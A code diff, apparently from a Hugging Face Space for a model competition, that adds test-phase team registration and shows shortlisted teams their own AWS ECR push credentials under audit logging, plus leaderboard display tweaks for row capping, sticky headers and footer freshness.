+is shortlisted for and declares that model's size each time.
+
+Credentials do not vary by sub-track: one ECR repository is issued per TEAM, so
+every registration by the same team shows the same credentials. What differs per
+registration is the declaration and the ledger row.
+
+Credentials are NOT created here. They are prepared ahead of time by the
+organizers and deposited as a JSON map in a private dataset that only this
+Space's token can read; this module looks a team up in that map. Nothing in this
+Space can create a credential, which is the point: the Space is reachable from
+the internet and the thing that issues credentials is not.
+
+Every disclosure appends a row to an audit ledger in the same private dataset:
+which account claimed which team's key, and when. The ledger records the access
+key ID, never the secret, so the ledger itself is not a second copy of the
+credential. Re-claiming is allowed and logged (a team that loses the page must be
+able to get it back), so the ledger is the record of how many times each key was
+shown rather than a lock.
+"""
+
+from __future__ import annotations
+
+import io
+import json
+import random
+import re
+import string
+from collections import defaultdict
+from datetime import datetime, timezone
+
+from huggingface_hub.errors import EntryNotFoundError
+
+import config
+
+# Paths inside the PRIVATE requests dataset. Everything under admin/ is written
+# by the organizers, never by a participant path in this app.
+SHORTLIST_PATH = "admin/test_phase_shortlist.json"
+CREDENTIALS_PATH = "admin/test_phase_credentials.json"
+LEDGER_DIR = "admin/test_phase_registrations"
+
+
+def normalize_team(name: str) -> str:
+    """Dedup key for a team name. Kept identical to shortlist.normalize_team().
+
+    Duplicated rather than imported because this module runs inside the Space and
+    shortlist.py is an organizer tool; the two are pinned together by
+    tests/test_register_test.py, which asserts they agree.
+    """
+    s = (name or "").strip()
+    s = re.sub(r"\s+", " ", s)
+    s = s.strip(" .,-_()[]")
+    return s.casefold()
+
+
+def _now_iso() -> str:
+    return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+
+
+def _read_json(api, path: str):
+    """Read a JSON file out of the private requests dataset, or None."""
+    from huggingface_hub import hf_hub_download
+
+    local = hf_hub_download(
+        config.REQUESTS_REPO, path, repo_type="dataset", token=api.token
+    )
+    with open(local, encoding="utf-8") as fh:
+        return json.load(fh)
+
+
+def load_shortlist(api) -> dict:
+    """team key -> {sub-track: seat detail} for every seat the team holds.
+
+    The seat detail is the validation entry that WON the seat: its model name
+    and declared size. It is carried so registration can show a team which
+    entry earned its place and compare the size it now declares against the one
+    it declared then. It is a record and a prompt, never a gate: a team is
+    expected to bring an improved model to the test phase.
+
+    Accepts the shape shortlist.py emits (a report with `subtracks`) as well as a
+    hand-written {team: [subtrack, ...]} map, because the organizers will edit
+    the machine-generated list before it becomes the invitation list and should
+    not have to preserve a schema to do it.
+    """
+    raw = _read_json(api, SHORTLIST_PATH)
+    if isinstance(raw, dict) and "subtracks" in raw:
+        out: dict[str, dict[str, dict]] = defaultdict(dict)
+        for st in raw["subtracks"]:
+            for t in st.get("shortlist", []):
+                out[normalize_team(t.get("team_name"))][
+                    subtrack(st["track"], st["division"])
+                ] = {
+                    "model_name": t.get("model_name"),
+                    "total_params": t.get("total_params"),
+                    "hf_user": t.get("hf_user"),
+                    "rank": t.get("rank"),
+                }
+        return dict(out)
+    if isinstance(raw, dict):
+        # Hand-edited map: {team: [subtrack, ...]}. No seat detail, so every
+        # seat maps to an empty dict rather than to None, which keeps every
+        # reader on one shape instead of branching on the file's provenance.
+        return {
+            normalize_team(k): {sub: {} for sub in v} for k, v in raw.items()
+        }
+    raise ValueError("shortlist file is neither a report nor a team map")
+
+
+def load_credentials(api) -> dict:
+    """team key -> {repo_uri, access_key_id, secret_access_key, region}."""
+    raw = _read_json(api, CREDENTIALS_PATH)
+    return {normalize_team(k): v for k, v in raw.items()}
+
+
+def validation_pairs(api) -> set[tuple[str, str]]:
+    """Every (hf_user, normalized team) pair that holds a SCORED val result.
+
+    Read from the RESULTS dataset, not requests: a submission that was registered
+    and never scored did not compete. Reads only the fields it needs, so a result
+    file gaining a field cannot break this.
+    """
+    from huggingface_hub import hf_hub_download
+
+    files = [
+        f
+        for f in api.list_repo_files(config.RESULTS_REPO, repo_type="dataset")
+        if f.startswith(f"results/{config.PHASE}/") and f.endswith(".json")
+    ]
+    pairs = set()
+    for f in files:
+        try:
+            local = hf_hub_download(
+                config.RESULTS_REPO, f, repo_type="dataset", token=api.token
+            )
+            with open(local, encoding="utf-8") as fh:
+                obj = json.load(fh)
+        except Exception:
+            # A single unreadable result must not deny every team. The pair set
+            # only ever grows, so skipping one file can refuse a legitimate team
+            # and can never admit an illegitimate one; that is the safe
+            # direction, and the organizers can add the pair by hand.
+            continue
+        if obj.get("status") != "FINISHED":
+            continue
+        user = obj.get("hf_user")
+        team = normalize_team(obj.get("team_name"))
+        if user and team:
+            pairs.add((str(user), team))
+    return pairs
+
+
+_EMAIL_RE = re.compile(r"^[^@\s]+@[^@\s.]+(\.[^@\s.]+)+$")
+
+# A ceiling, not a rule about team size: it stops a paste accident becoming a
+# thousand-row ledger entry. A genuinely larger team contacts the organizers.
+MAX_TEAM_MEMBERS = 20
+
+
+def subtrack(track: str, division: str) -> str:
+    """The sub-track key. One string, so it cannot be assembled two ways."""
+    return f"{track}/{division}"
+
+
+def parse_members(value: str) -> tuple[list[dict] | None, str]:
+    """Parse the team roster: one member per line, `Name, email`.
+
+    A plain textarea rather than a repeating widget, because the roster is
+    typed once and the number of members is not known in advance. `Name <email>`
+    is accepted too, since people paste addresses in that form without thinking.
+
+    Returns (members, error). Every member is checked, and the error names the
+    line at fault, because "invalid input" on a ten-line box is useless.
+    """
+    lines = [ln.strip() for ln in (value or "").splitlines()]
+    lines = [ln for ln in lines if ln]
+    if not lines:
+        return None, (
+            "List your team members, one per line, as `Name, email`."
+        )
+    if len(lines) > MAX_TEAM_MEMBERS:
+        return None, (
+            f"{len(lines)} members listed; the form takes at most "
+            f"{MAX_TEAM_MEMBERS}. Contact the organizers if your team is larger."
+        )
+
+    members: list[dict] = []
+    seen: set[str] = set()
+    for i, line in enumerate(lines, 1):
+        angle = re.match(r"^(.*?)<([^>]+)>$", line)
+        if angle:
+            name, email = angle.group(1), angle.group(2)
+        elif "," in line:
+            name, _, email = line.rpartition(",")
+        else:
+            return None, (
+                f"Line {i} ('{line}') is not `Name, email`. Put one member per "
+                "line, with the name first and the address after a comma."
+            )
+        name = name.strip().strip(",").strip()
+        addr, why = parse_email(email)
+        if addr is None:
+            return None, f"Line {i}: {why}"
+        if not name:
+            return None, f"Line {i} has an address but no name."
+        if addr.lower() in seen:
+            return None, f"{addr} is listed twice. Each member appears once."
+        seen.add(addr.lower())
+        members.append({"name": name, "email": addr})
+    return members, ""
+
+
+def parse_poc(value: str, members: list[dict], hf_user: str) -> tuple[dict | None, str]:
+    """The point of contact IS whoever is registering. Returns their record.
+
+    Not a nomination. The Hugging Face account signing in is the one matched
+    against the validation submissions and the shortlist, so it is already the
+    account that owns the seat; making the person behind it the contact of
+    record means the address we write to belongs to someone we have actually
+    verified holds the seat. Nominating a third party would break that link and
+    is the reason this is not a free choice.
+
+    All the participant supplies is which roster line is theirs. Requiring it to
+    be on the roster is the rest of it: a contact who is not on the team is how
+    a message reaches nobody.
+    """
+    addr, why = parse_email(value)
+    if addr is None:
+        return None, f"Main point of contact: {why}"
+    known = {m["email"].lower(): m for m in members}
+    if addr.lower() not in known:
+        listed = ", ".join(m["email"] for m in members)
+        return None, (
+            f"The main point of contact ({addr}) is not one of the team members "
+            f"you listed. It has to be you, and you have to be on the list. "
+            f"Listed: {listed}."
+        )
+    member = known[addr.lower()]
+    return {"hf_user": hf_user, "name": member["name"], "email": member["email"]}, ""
+
+
+def parse_email(value: str) -> tuple[str | None, str]:
+    """The contact address for this team, required.
+
+    Deliberately a loose check. The purpose is to catch a typo or an empty box,
+    not to adjudicate RFC 5322; a real address that a strict regex rejects would
+    lock a shortlisted team out of the phase, which is far worse than storing an
+    address that turns out to bounce.
+    """
+    email = (value or "").strip()
+    if not email:
+        return None, "Enter a contact email address so we can reach your team."
+    # Accept a pasted roster line. The members box directly above asks for
+    # `Name, email`, so copying that format down into this box is the obvious
+    # mistake to make, and rejecting it teaches the participant nothing except
+    # that the form is fussy. If exactly one comma-separated part looks like an
+    # address, that is unambiguously what was meant.
+    if not _EMAIL_RE.match(email) and "," in email:
+        looks_like = [
+            part.strip() for part in email.split(",") if _EMAIL_RE.match(part.strip())
+        ]
+        if len(looks_like) == 1:
+            email = looks_like[0]
+    if not _EMAIL_RE.match(email):
+        return None, (
+            f"'{email}' does not look like an email address. Enter just the "
+            "address, for example ada@example.com, not 'Ada Lovelace, "
+            "ada@example.com'."
+        )
+    return email, ""
+
+
+def parse_total_params(value) -> tuple[int | None, str]:
+    """Read the declared total parameter count, given in BILLIONS.
+
+    Returns (params_or_None, error). Billions because that is the unit the rest
+    of the board uses and the unit a participant thinks in; the stored value is
+    an integer count, so the two never have to be reconciled later.
+
+    A count of zero is refused rather than stored. Several validation entries
+    declared 0.00000B, which cannot be true of anything that runs, and a zero
+    that flows into the ledger is indistinguishable from "not asked".
+    """
+    if value in (None, ""):
+        return None, (
+            "Enter your model's total parameter count, in billions, including "
+            "any frozen backbone."
+        )
+    try:
+        billions = float(value)
+    except (TypeError, ValueError):
+        return None, f"Total parameters must be a number in billions, not {value!r}."
+    if billions <= 0:
+        return None, (
+            "Total parameters must be greater than zero. Count every parameter "
+            "the model loads at inference, including any frozen backbone."
+        )
+    params = int(round(billions * 1e9))
+    if params <= 0:
+        return None, (
+            f"{billions}B rounds to zero parameters. If your model really is "
+            "that small, contact the organizers rather than registering."
+        )
+    if params < config.TEST_REGISTRATION_MIN_TOTAL_PARAMS:
+        floor_b = config.TEST_REGISTRATION_MIN_TOTAL_PARAMS / 1e9
+        return None, (
+            f"{billions}B is below the {floor_b:g}B floor for the test phase. "
+            "Count every parameter the model loads at inference, including any "
+            "frozen backbone; if the count is right, contact the organizers."
+        )
+    return params, ""
+
+
+def size_note(seat: dict, total_params: int) -> str:
+    """Compare the size declared now against the one declared at validation.
+
+    Returns "" when there is nothing worth saying. Never refuses: a team is
+    allowed to bring a different model to the test phase, so a change is
+    expected and is not evidence of anything on its own. What is worth
+    surfacing is a change of ORDER OF MAGNITUDE, which is usually either a unit
+    slip (someone typing millions into a billions box) or a declaration that
+    was wrong at validation. Both are better raised now than after a score.
+
+    Recorded on the ledger row either way, so the organizers see it even when
+    the participant ignores the note.
+    """
+    val = seat.get("total_params")
+    if not val or not total_params:
+        return ""
+    factor = config.TEST_REGISTRATION_SIZE_DISCREPANCY_FACTOR
+    if factor <= 0:
+        return ""
+    bigger, smaller = max(val, total_params), min(val, total_params)
+    if bigger < smaller * factor:
+        return ""
+    direction = "larger" if total_params > val else "smaller"
+    return (
+        f"Note: at validation this team declared {val / 1e9:g}B for the entry "
+        f"that earned this seat, and you have declared {total_params / 1e9:g}B "
+        f"now, which is {direction} by more than {factor}x. That is fine if you "
+        "changed model. If it is a typo, re-register with the right number: "
+        "parameter counts are verified in the test phase."
+    )
+
+
+def check_division(total_params: int, division: str) -> tuple[bool, str]:
+    """The declared size must be consistent with the division being entered.
+
+    This is the check that makes a per-sub-track declaration worth collecting.
+    Divisions ARE parameter bands, so a team entering Small with a 7B model is
+    either mis-declaring or entering the wrong division, and either way the
+    submission would be refused later at a point where it has already cost them
+    a slot. Catching it here costs them nothing.
+    """
+    actual = config.division_for_params(int(total_params))
+    if actual is None:
+        return False, f"total_params={total_params} is not a usable parameter count."
+    if actual != division:
+        lo, hi = config.DIVISION_CAPS[division]
+        bound = "at most 2B" if division == "small" else "more than 2B"
+        return False, (
+            f"{total_params / 1e9:g}B is a '{actual}' model, but you are "
+            f"registering for {division.capitalize()}, which takes {bound}. "
+            "Register this model under its own division, or correct the count."
+        )
+    return True, ""
+
+
+def check(
+    hf_user: str, team_name: str, track: str, division: str, pairs, shortlist
+) -> tuple[bool, str]:
+    """The eligibility decision. Pure, so the whole rule is unit-testable.
+
+    Returns (ok, reason_for_the_participant). Every refusal names which of the
+    three checks failed and what to do about it, because a team that is
+    genuinely shortlisted and typed its name differently must not read "not
+    eligible".
+
+    The parameter declaration is deliberately NOT checked here: it is a property
+    of the model, not of eligibility, and parse_total_params() owns it. Keeping
+    them apart means a team whose count is malformed is told to fix the count,
+    not told it is ineligible.
+    """
+    if not (hf_user or "").strip():
+        return False, "Sign in with Hugging Face first."
+    if not (team_name or "").strip():
+        return False, "Enter your team name, exactly as it appears on the leaderboard."
+    if track not in config.TEST_TRACKS:
+        return False, (
+            f"The test phase does not take '{track}'. Open tracks: "
+            + ", ".join(config.TRACK_LABELS[t] for t in config.TEST_TRACKS)
+            + "."
+        )
+    if division not in config.DIVISIONS:
+        return False, f"Unknown division: {division}"
+
+    team = normalize_team(team_name)
+    sub = subtrack(track, division)
+
+    if (hf_user, team) not in pairs:
+        # Distinguish "wrong team for this account" from "this account never
+        # competed": the first is a typo the participant can fix, the second is
+        # someone else's problem to explain.
+        mine = sorted({t for (u, t) in pairs if u == hf_user})
+        if mine:
+            return False, (
+                f"`{hf_user}` has validation submissions, but not under "
+                f"'{team_name.strip()}'. The team name must match the one on your "
+                f"validation submissions. On this account that is: "
+                + ", ".join(f"`{t}`" for t in mine)
+                + "."
+            )
+        return False, (
+            f"No scored validation submission is recorded for `{hf_user}`. "
+            "Credentials are issued to the account that competed. If your team "
+            "submitted from a different Hugging Face account, sign in with that "
+            "one; if you believe this is wrong, contact the organizers."
+        )
+
+    if team not in shortlist:
+        return False, (
+            f"'{team_name.strip()}' is not on the test-phase shortlist. Only "
+            "shortlisted teams enter the test phase. Contact the organizers if "
+            "you believe this is wrong."
+        )
+
+    # Shortlisting is per SUB-TRACK, so being on the list is not enough: a team
+    # seated in EgoConv/Large has no seat in EgoLongQA/Small. Name the seats the
+    # team does hold, because the likely cause is picking the wrong radio rather
+    # than a team trying its luck.
+    if sub not in shortlist[team]:
+        seats = ", ".join(f"`{s}`" for s in sorted(shortlist[team]))
+        return False, (
+            f"'{team_name.strip()}' is shortlisted, but not for `{sub}`. "
+            f"Seats held: {seats}. Register once for each of those, declaring "
+            "that model's size each time."
+        )
+
+    return True, ""
+
+
+def _ledger_row(
+    hf_user: str,
+    team: str,
+    track: str,
+    division: str,
+    members: list,
+    poc: dict,
+    model_name: str,
+    seat: dict,
+    total_params: int,
+    cred: dict,
+) -> dict:
+    """Audit row, one per registration, keyed by sub-track.
+
+    Carries the access key ID and never the secret.
+
+    `declared_total_params` is the whole reason the count is collected: this row
+    is the record of what a team said BEFORE it saw the test data, which is the
+    only version of the claim that cannot be revised once a score is known. It
+    is per sub-track because the divisions are parameter bands, so one number
+    could not describe a team entered in both.
+    """
+    return {
+        "hf_user": hf_user,
+        "team": team,
+        "track": track,
+        "division": division,
+        "subtrack": subtrack(track, division),
+        # The roster and its point of contact. The HF account above is what the
+        # seat is matched on; this is who the organizers actually write to.
+        "members": members,
+        # The contact of record: the account that matched the shortlist, and the
+        # human behind it. Stored together so a later reader does not have to
+        # join two fields to know who to write to.
+        "poc": poc,
+        "model_name": model_name,
+        "declared_total_params": total_params,
+        # The validation entry that earned this seat, copied so the row is
+        # self-describing: a later reader can see what changed between phases
+        # without having to find the shortlist file as it was on the day.
+        "val_model_name": seat.get("model_name"),
+        "val_total_params": seat.get("total_params"),
+        "size_discrepancy": bool(size_note(seat, total_params)),
+        "access_key_id": cred.get("access_key_id"),
+        "repo_uri": cred.get("repo_uri"),
+        "claimed_at": _now_iso(),
+    }
+
+
+def _record(
+    api,
+    hf_user: str,
+    team: str,
+    track: str,
+    division: str,
+    members: list,
+    poc: dict,
+    model_name: str,
+    seat: dict,
+    total_params: int,
+    cred: dict,
+) -> None:
+    row = _ledger_row(
+        hf_user, team, track, division, members, poc, model_name, seat,
+        total_params, cred,
+    )
+    safe_team = re.sub(r"[^a-z0-9-]+", "-", team).strip("-") or "team"
+    stamp = row["claimed_at"].replace(":", "-")
+    # A random suffix, because claimed_at has second resolution and uploading to
+    # a path that already exists OVERWRITES it. Two claims in the same second,
+    # which is exactly what a double-click produces, would otherwise leave one
+    # row where two disclosures happened. Counting how many times a key was
+    # shown is the ledger's whole job, so losing one silently is its worst
+    # failure.
+    suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=6))
+    path = f"{LEDGER_DIR}/{safe_team}-{track}-{division}-{stamp}-{suffix}.json"
+    api.upload_file(
+        path_or_fileobj=io.BytesIO(json.dumps(row, indent=2).encode()),
+        path_in_repo=path,
+        repo_id=config.REQUESTS_REPO,
+        repo_type="dataset",
+        # No email in the commit message: dataset commit history is a different
+        # surface from the file, and a contact address does not belong in it.
+        commit_message=f"test-phase registration: {team} {subtrack(track, division)}",
+    )
+
+
+def issue(
+    api,
+    hf_user: str,
+    team_name: str,
+    track: str,
+    division: str,
+    members: str,
+    poc: str,
+    model_name: str,
+    total_params_b,
+) -> tuple[bool, str]:
+    """Full path for ONE sub-track: verify, record, render the credentials.
+
+    Returns (ok, markdown_for_the_participant). The credentials are rendered only
+    on the ok path, and the failure path never contains any part of them.
+
+    Everything that can be judged from the form alone is judged BEFORE any
+    network read, so a team that mistypes gets an instant answer instead of
+    waiting on the results dataset, and a malformed registration never reaches
+    the ledger.
+    """
+    if not config.TEST_PHASE_OPEN:
+        return False, "Test-phase registration is not open yet."
+
+    roster, why = parse_members(members)
+    if roster is None:
+        return False, why
+
+    poc_record, why = parse_poc(poc, roster, hf_user)
+    if poc_record is None:
+        return False, why
+
+    model = (model_name or "").strip()
+    if not model:
+        return False, (
+            "Enter the name of the model you intend to submit for this "
+            "sub-track. It does not have to be the one you entered at "
+            "validation."
+        )
+
+    total_params, why = parse_total_params(total_params_b)
+    if total_params is None:
+        return False, why
+
+    ok, why = check_division(total_params, division)
+    if not ok:
+        return False, why
+
+    # The three sources are loaded separately, and the credentials one is
+    # allowed to be absent. Sharing a try made a missing credentials file report
+    # as "could not check eligibility", which is the opposite of what happened:
+    # eligibility was never checked, and the participant was told to retry
+    # something that could not succeed until an organizer uploaded a file.
+    try:
+        shortlist = load_shortlist(api)
+    except Exception as e:
+        # Never surface the raw exception: it carries private repo paths.
+        print(f"[register_test] shortlist unavailable: {e!r}")
+        return False, (
+            "Could not read the test-phase shortlist, so your eligibility "
+            "cannot be checked. This is on our side, not yours. Please retry "
+            "in a few minutes and contact the organizers if it persists."
+        )
+    try:
+        pairs = validation_pairs(api)
+    except Exception as e:
+        print(f"[register_test] validation results unavailable: {e!r}")
+        return False, (
+            "Could not read the validation results, so your eligibility cannot "
+            "be checked. This is on our side, not yours. Please retry in a few "
+            "minutes and contact the organizers if it persists."
+        )
+    try:
+        creds = load_credentials(api)
+    except EntryNotFoundError:
+        # No file yet is a STATE, not a failure: nothing has been issued. Fall
+        # through so the accurate "not issued yet" message below is the one the
+        # participant sees, after their eligibility has actually been decided.
+        print("[register_test] no credentials file deposited yet")
+        creds = {}
+    except Exception as e:
+        print(f"[register_test] credentials unavailable: {e!r}")
+        return False, (
+            "Your registry credentials could not be read. This is on our side, "
+            "not yours. Contact the organizers."
+        )
+
+    ok, why = check(hf_user, team_name, track, division, pairs, shortlist)
+    if not ok:
+        return False, why
+
+    team = normalize_team(team_name)
+    seat = shortlist.get(team, {}).get(subtrack(track, division), {})
+    cred = creds.get(team)
+    if not cred:
+        # Shortlisted but no key deposited: an organizer omission, not the
+        # participant's error, so it must not read as a refusal.
+        print(f"[register_test] no credential deposited for shortlisted team {team!r}")
+        return False, (
+            "Your team is shortlisted, but your registry credentials have not "
+            "been issued yet. Contact the organizers — this is on our side."
+        )
+
+    try:
+        _record(
+            api, hf_user, team, track, division, roster, poc_record, model, seat,
+            total_params, cred,
+        )
+    except Exception as e:
+        # The ledger is how we know a key was handed out. Refuse rather than
+        # disclose unrecorded: a re-try costs the team a minute, an unlogged
+        # disclosure is permanently unaccountable.
+        print(f"[register_test] ledger write failed for {team!r}: {e!r}")
+        return False, (
+            "Could not complete registration. Please retry; contact the "
+            "organizers if it persists."
+        )
+
+    return True, render_credentials(
+        team_name, track, division, cred, shortlist.get(team, {}),
+        model, seat, total_params,
+    )
+
+
+def render_credentials(
+    team_name: str,
+    track: str,
+    division: str,
+    cred: dict,
+    seats: dict,
+    model_name: str,
+    seat: dict,
+    total_params: int,
+) -> str:
+    """The markdown shown once a sub-track registration is accepted."""
+    region = cred.get("region", "us-east-2")
+    repo = cred.get("repo_uri", "")
+    registry = repo.split("/", 1)[0] if "/" in repo else repo
+    this = f"{config.TRACK_LABELS.get(track, track)} / {division.capitalize()}"
+    others = sorted(s for s in seats if s != subtrack(track, division))
+    earned = (
+        f"\n\nThis seat was earned at validation by **{seat['model_name']}**"
+        + (
+            f" ({seat['total_params'] / 1e9:g}B declared)."
+            if seat.get("total_params")
+            else "."
+        )
+        + " You do not have to submit that same model."
+        if seat.get("model_name")
+        else ""
+    )
+    _note = size_note(seat, total_params)
+    note = f"\n\n{_note}" if _note else ""
+    remaining = (
+        "\n\nYou are also shortlisted for **"
+        + "**, **".join(others)
+        + "**. Register each one separately, declaring that model's size."
+        if others
+        else ""
+    )
+    return f"""✅ **{team_name.strip()} is registered for {this}.**
+
+Recorded for this sub-track: **{model_name}**, **{total_params / 1e9:g}B total parameters** including any frozen backbone. Parameter counts are verified against this declaration.{earned}{note}{remaining}
+
+**Copy these now.** They are shown here whenever you sign in and re-register, but
+never send them to anyone, including the organizers.
+
+| | |
+| --- | --- |
+| Repository URI | `{repo}` |
+| Region | `{region}` |
+| Access key ID | `{cred.get('access_key_id', '')}` |
+| Secret access key | `{cred.get('secret_access_key', '')}` |
+
+```bash
+export AWS_ACCESS_KEY_ID={cred.get('access_key_id', '')}
+export AWS_SECRET_ACCESS_KEY={cred.get('secret_access_key', '')}
+
+aws ecr get-login-password --region {region} \\
+  | docker login --username AWS --password-stdin {registry}
+
+docker tag <your-local-image> {repo}:v1
+docker push {repo}:v1
+```
+
+This account can read and write **only** `{repo}`.
+
+Once the push finishes, come back to the **Submit** tab and register the digest.
+"""

results.py

@@ -37,6 +37,10 @@ METRIC_LABEL = {"accuracy": "Accuracy", "bleu": "BLEU",
 
 DIVISION_LABEL = {"small": "Small Model (≤ 2B)", "large": "Large Model (2B+)"}
 
+# Rows visible per board before it scrolls. Keeps a 34-entry track from burying
+# the tracks below it; the remaining rows are still rendered, just scrolled to.
+VISIBLE_ROWS = 15
+
 
 def empty_results() -> pd.DataFrame:
     """An empty results frame with the expected columns."""
@@ -192,12 +196,17 @@ def _board_html(df: pd.DataFrame, track: str, division: str, phase: str,
                 if show_proxy else "")
     lat_th = ('<th class="lb-th-lat">Latency P50/P90 (<span class="lb-lc">ms</span>)</th>'
               if show_lat else "")
+    # Boards are capped to VISIBLE_ROWS on screen and scroll for the rest (the
+    # exact pixel height is measured in JS, since wrapped model names make rows
+    # variable-height). Every entry is still in the DOM — nothing is dropped.
+    more = (f'<div class="lb-more">Showing top {VISIBLE_ROWS} of {len(rows)}'
+            f' — scroll for the rest</div>' if len(rows) > VISIBLE_ROWS else "")
     return (
         f'<div class="lb-board">{head}<div class="lb-scroll"><table>'
         f'<thead><tr><th>#</th><th>Team</th><th>Model</th><th>Params</th>'
         f'<th>Open</th><th class="lb-th-score">{metric_th}</th>{proxy_th}{lat_th}'
         f'<th class="lb-th-sub">Submitted</th>'
-        f'</tr></thead><tbody>{"".join(body)}</tbody></table></div></div>'
+        f'</tr></thead><tbody>{"".join(body)}</tbody></table></div>{more}</div>'
     )
 
 
@@ -229,15 +238,48 @@ def _boards_inner(df: pd.DataFrame, phase: str, open_only: bool = False) -> str:
     return "".join(sections)
 
 
+def _footer_line(df: pd.DataFrame, phase: str, refresh_s: int | None) -> str:
+    """The one line under the board, saying how fresh it is.
+
+    Two different claims, and using the wrong one is how a frozen board comes to
+    advertise a refresh that never happens. A live board reports when it was
+    rendered and how often it re-renders. A frozen one reports the age of the
+    DATA, because its render time says nothing: re-rendering a final board every
+    minute would keep updating a timestamp that no longer means anything.
+    """
+    if refresh_s:
+        ts = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S")
+        every = (
+            f"{refresh_s // 60} min"
+            if refresh_s >= 60 and refresh_s % 60 == 0
+            else f"{refresh_s}s"
+        )
+        return f"Updated {ts} UTC &middot; auto-refreshes every {every}"
+    last = ""
+    if df is not None and not df.empty and "verified_at" in df:
+        rows = df[(df["phase"] == phase) & (df["status"] == "FINISHED")]
+        stamps = sorted(str(v) for v in rows["verified_at"].dropna() if str(v))
+        if stamps:
+            last = stamps[-1].replace("T", " ").replace("Z", "")
+    return (
+        f"Final standings &middot; last scored submission {last} UTC"
+        if last
+        else "Final standings"
+    )
+
+
 def board_document(df: pd.DataFrame, phase: str = "val",
-                   open_only: bool = False) -> str:
+                   open_only: bool = False, refresh_s: int | None = None) -> str:
     """A complete, standalone HTML document for the leaderboard.
 
     Rendered inside an <iframe srcdoc> so it is fully isolated from the host
     page's CSS (pixel-identical to the design mock). A small script self-sizes
     the iframe to the content height.
+
+    refresh_s is what the footer ADVERTISES, so the caller passes the interval it
+    actually set on the timer. It used to be hardcoded at 60, which meant the
+    Test board claimed 60s while refreshing every 120.
     """
-    ts = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S")
     return (
         "<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'>"
         "<meta name='viewport' content='width=device-width, initial-scale=1'>"
@@ -247,7 +289,7 @@ def board_document(df: pd.DataFrame, phase: str = "val",
         "&family=IBM+Plex+Sans:wght@400;600;700&display=swap' rel='stylesheet'>"
         f"<style>{_DOC_CSS}</style></head><body>"
         f"<div id='lbroot'>{_boards_inner(df, phase, open_only)}"
-        f"<div class='lb-updated'>Updated {ts} UTC · auto-refreshes every 60s</div></div>"
+        f"<div class='lb-updated'>{_footer_line(df, phase, refresh_s)}</div></div>"
         "<script>"
         # WIDTH: an <iframe> is a replaced element with a 300px intrinsic width, so
         # Gradio 6's flex wrappers shrink-wrap it (CSS width:100% loses to their
@@ -269,7 +311,23 @@ def board_document(df: pd.DataFrame, phase: str = "val",
         "var h=Math.ceil(r.getBoundingClientRect().height)+16;"
         "var cur=parseInt(window.frameElement.style.height||'0',10)||0;"
         "if(h>40&&Math.abs(h-cur)>2)window.frameElement.style.height=h+'px';}catch(e){}}"
-        "function fit(){fitW();fitH();}"
+        # ROW CAP: show VISIBLE_ROWS per board, scroll for the rest. Rows are
+        # variable-height (the Model column wraps), so the cut point is measured
+        # rather than assumed: the delta between row 0 and row N's offsetTop is
+        # exactly N rows tall, and being a difference it is unaffected by the
+        # container's current scroll position (so a resize mid-scroll is safe).
+        f"var LB_ROWS={VISIBLE_ROWS};"
+        "function fitRows(){try{"
+        "var els=document.querySelectorAll('.lb-scroll');"
+        "for(var i=0;i<els.length;i++){var el=els[i];"
+        "var t=el.querySelector('table');"
+        "if(!t||!t.tBodies[0]){continue;}"
+        "var rows=t.tBodies[0].rows;"
+        "if(rows.length<=LB_ROWS){el.style.maxHeight='';continue;}"
+        "var head=t.tHead?t.tHead.getBoundingClientRect().height:0;"
+        "var h=head+(rows[LB_ROWS].offsetTop-rows[0].offsetTop);"
+        "if(h>40){el.style.maxHeight=Math.ceil(h)+'px';}}}catch(e){}}"
+        "function fit(){fitW();fitRows();fitH();}"
         "window.addEventListener('load',fit);"
         "window.addEventListener('resize',fit);"
         "if(window.parent)window.parent.addEventListener('resize',fit);"
@@ -295,14 +353,16 @@ body{font-family:var(--lb-sans);color:var(--lb-text);background:transparent;padd
 .lb-board{min-width:0}
 .lb-board{background:var(--lb-surface);border:1px solid var(--lb-border);border-radius:12px;overflow:hidden}
 .lb-board-head{padding:.6rem .9rem;border-bottom:1px solid var(--lb-border);font-weight:600;font-size:.9rem}
-/* Last-resort guard: scroll the table rather than clip it against the board's
-   overflow:hidden (which is what rounds the corners). */
-.lb-scroll{overflow-x:auto;max-width:100%}
+/* Scrolls rather than clipping against the board's overflow:hidden (which is
+   what rounds the corners): horizontally as a last-resort width guard, and
+   vertically once a board exceeds VISIBLE_ROWS (max-height set in JS). */
+.lb-scroll{overflow:auto;max-width:100%;overscroll-behavior:contain}
 table{width:auto;border-collapse:collapse;table-layout:auto;font-size:.83rem;border:0;margin:0}
 /* Even column spacing, tight enough that the widest column drives the layout. */
 th,td{padding-right:1.1rem}
 th:last-child,td:last-child{padding-right:.55rem}
-thead th{font-family:var(--lb-mono);font-size:.66rem;letter-spacing:.04em;text-transform:uppercase;color:var(--lb-faint);font-weight:600;text-align:left;padding:.42rem .55rem;white-space:nowrap;border-bottom:1px solid var(--lb-border)}
+/* Sticky so the metric header stays put while a long board scrolls. */
+thead th{font-family:var(--lb-mono);font-size:.66rem;letter-spacing:.04em;text-transform:uppercase;color:var(--lb-faint);font-weight:600;text-align:left;padding:.42rem .55rem;white-space:nowrap;border-bottom:1px solid var(--lb-border);position:sticky;top:0;z-index:1;background:var(--lb-surface)}
 tbody td{padding:.4rem .55rem;border-bottom:1px solid var(--lb-border);color:var(--lb-text);white-space:nowrap;vertical-align:middle}
 tbody tr:last-child td{border-bottom:0}
 tbody tr:hover td{background:var(--lb-hover)}
@@ -319,8 +379,11 @@ tr.lb-top .lb-rank{color:var(--lb-gold)}
 .lb-model{color:var(--lb-sec);font-size:.78rem;white-space:normal;overflow-wrap:anywhere;max-width:22ch;line-height:1.3}
 .lb-params small{color:var(--lb-faint)}
 .lb-score{font-weight:600}
-/* Subtle tint on the primary-metric column (header + cells). */
-.lb-score,.lb-th-score{background:rgba(124,108,211,.06)}
+/* Subtle tint on the primary-metric column (header + cells). The header is
+   sticky, so its tint is layered over an opaque surface or rows would show
+   through it while scrolling. */
+.lb-score{background:rgba(124,108,211,.06)}
+.lb-th-score{background:linear-gradient(rgba(124,108,211,.06),rgba(124,108,211,.06)),var(--lb-surface)}
 .lb-lat{color:var(--lb-sec);font-size:.8rem}
 .lb-proxy{font-family:var(--lb-mono);color:var(--lb-sec);font-size:.8rem}
